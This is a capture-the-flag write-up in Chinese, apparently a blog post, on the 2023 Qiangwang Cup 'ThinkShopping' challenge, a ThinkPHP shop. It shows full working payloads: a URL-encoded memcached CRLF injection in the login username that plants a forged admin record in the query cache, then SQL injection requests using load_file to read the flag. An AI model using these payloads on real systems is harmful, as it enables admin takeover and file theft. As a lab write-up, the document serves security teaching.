[2023 强网杯qwb]ThinkShopping

[2023 强网杯初赛]ThinkShopping

注:此题为ThinkShop的复仇版,ThinkShop的WP见https://blog.csdn.net/GKD2019/article/details/135161395

参考链接https://mp.weixin.qq.com/s/7GY8b9GbR1raU1V5gDTBaQ

  • • 题目类型:CTF
  • • 题目名称:2023强网杯初赛 thinkshop[ping]
  • • 题目镜像:附件内,自行搭建
  • • 内部端口:80
  • • 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xdkZHcTl1VG14NzR1TUZudEMwX3lSQT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码)

0x00 启动脚本

下载附件后,阅读附件里的README.txt:

thinkshopping:

docker load < thinkshopping.tar
docker run -tid --name thinkshop -p 36001:80 -e FLAG=flag{test_flag} 镜像ID

用goods_edit.html文件替换镜像中的/var/www/html/application/index/view/admin/goods_edit.html

0x01 信息收集

  1. 这题是ThinkShop的复仇版,思路:利用memcached,CRLF注入修改admin密码,根据goods_edit.html提示注入data(sql语句),实现load_file(‘/flag’)
  2. 这题是ThinkShop的复仇版,shop.sql中删去了原题中的插入user和password。
  3. 这题的突破点在memcached上,在start.sh中可以看到,配置了memcached
service apache2 start
# 启动mysql
service mysql start
# 启动php5.6-fpm
service php5.6-fpm start
nohup /nohup.sh > /dev/null 2>&1 & //nohup.sh是检查cpu使用率的
mysql -e "source /shop.sql;" -uroot -proot
mysql -e "source /goods.sql;" -uroot -proot
memcached -d -m 50 -p 11211 -u root
  1. 创建docker的readme.txt中让用goods_edit.html文件替换镜像中的/var/www/html/application/index/view/admin/goods_edit.html,其中有

     {php}use app\index\model\Goods;$view=new Goods();echo $goods['data'];{/php}
    

    只要读到flag,把值赋给data即可

0x02 正式开始

在Admin.php中

    public function do_login()
    {

        $username = input('post.username');
        $password = input('post.password');
        

        // if (empty($username) || empty($password)) {
        //     $this->error('用户名或密码不能为空');
        // }
        // if(strlen($password) > 100)
        // {
        //     $this->error('用户名或密码错误');
        // }

        // 使用md5对输入的密码进行加密
        $encryptedPassword = md5($password);

        // 设置缓存键和有效期
        $Key = ["Login" , $username];
        $Expire = 600; // 缓存有效期为10分钟 (600秒)

        // 尝试从缓存中获取数据
        $adminData = Db::table('admin')  // 选择名为 'admin' 的数据库表
                    ->cache(true, $Expire)       // 启用查询结果的缓存,并设置过期时间为 $Expire(可能是一个变量)
                    ->find($username);           // 在数据库中查找与 $username 变量匹配的行

// 这段代码从 'admin' 表中检索数据,并使用缓存来提高性能。
// 查询结果将存储在 $adminData 变量中,可以根据需要进行后续处理和使用。

        if ($adminData && $adminData['password'] === $encryptedPassword) {
            // 登录成功,设置session
            session('admin', $adminData['username']);


            $this->success($username.'登录成功', 'index/admin/goods_edit');
        } else {
            $this->error('用户名或密码错误');
        }
    }

下面这部分仍然是关键:

    // 尝试从缓存中获取数据
    $adminData = Db::table('admin')  // 选择名为 'admin' 的数据库表
                ->cache(true, $Expire)       // 启用查询结果的缓存,并设置过期时间为 $Expire(可能是一个变量)
                ->find($username);           // 在数据库中查找与 $username 变量匹配的行
// 这段代码从 'admin' 表中检索数据,并使用缓存来提高性能。
// 查询结果将存储在 $adminData 变量中,可以根据需要进行后续处理和使用。

在登录的逻辑中,首先查询的是cache中的缓存值

跟进到find()这个函数的定义,在/var/www/html/thinkphp/library/think/db/Query.php中

$options['limit'] = 1;
$result = false;

// 检查 fetch_sql 是否为空且 cache 选项是否存在
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
    // 查询缓存检查
    $cache = $options['cache'];

    // 如果 cache key 是 true,并且 data 不为 null 且不是数组
    if (true === $cache['key'] && !is_null($data) && !is_array($data)) {
        // 将 key 设置为数据库、表和数据的组合
        $key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
        // $key = 'think:admin.shop|username' key的形式
        
    } elseif (is_string($cache['key'])) {
        // 如果 cache key 是字符串,则将其作为键
        $key = $cache['key'];
    } elseif (!isset($key)) {
        // 如果键未设置,则根据数据库、选项和绑定生成一个键
        $key = md5($this->connection->getConfig('database') . '.' . serialize($options) . serialize($this->bind));
    }

    // 使用生成的键获取缓存结果
    $result = Cache::get($key);
}

key的形式为 $key = ‘think:admin.shop|username’

那么如何控制cache的值呢?

0x03 memcached存在CRLF漏洞

  • 参考链接https://www.freebuf.com/vuls/328384.html

简单来说,CRLF就是空格和换行的意思

在memecached读取数据的时候,能够解析

  • %0A 表示 URL 编码中的换行符(\n)。

  • %00 表示 URL 编码中的空字符(null 字符)。

  • %20 表示 URL 编码中的空格字符。

  • %0D 表示 URL 编码中的回车符(\r)。

memcached命令

Set命令

set key flags exptime bytes [noreply] 
value 
  • key:键值 key-value 结构中的 key,用于查找缓存值。
  • flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
  • exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)。
  • bytes:在缓存中存储的字节数,即数据长度。
  • noreply(可选): 该参数告知服务器不需要返回数据。
  • value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)。

get命令

Memcached的get命令获取存储在key中的value,如果key不存在则会返回为空。

基本语法如下:

get key
或
get key1 key2 key3
  • **key:**键值 key-value 结构中的 key,用于查找缓存值。

注入利用

%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf
等价于
set snowwolf 0 500 4
wolf

知道咋注入了,但是该注入啥呢?

我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到controller/Index.php,

public function test(){
    $result = Db::query("select * from admin where id=1");
    var_dump($result);
    $a = "think:shop.admin|admin";
    Cache::set($a, $result, 3600);
}

然后往shop.admin里插入一条数据

INSERT INTO `user` (`username`, `password`) VALUES
('admin', 'ndbcsbvudsvpbusvbpsffdsbsdfbausbdfsdfsdfsdf');

查看memcached中的值,长得像个序列化字符串

telnet 127.0.0.1 11211
get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

set key flags exptime bytes [noreply] 
value 

所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4,

username=admin(空)(回车)(换行)
set think:shop.admin|admin 4 500 101(空)(回车)(换行)
a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}
&password=admin

POST /public/index.php/index/admin/do_login.html,

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可,

POST /public/index.php/index/admin/do_edit.html

下面两份EXP,任选一份即可

name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa
data`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值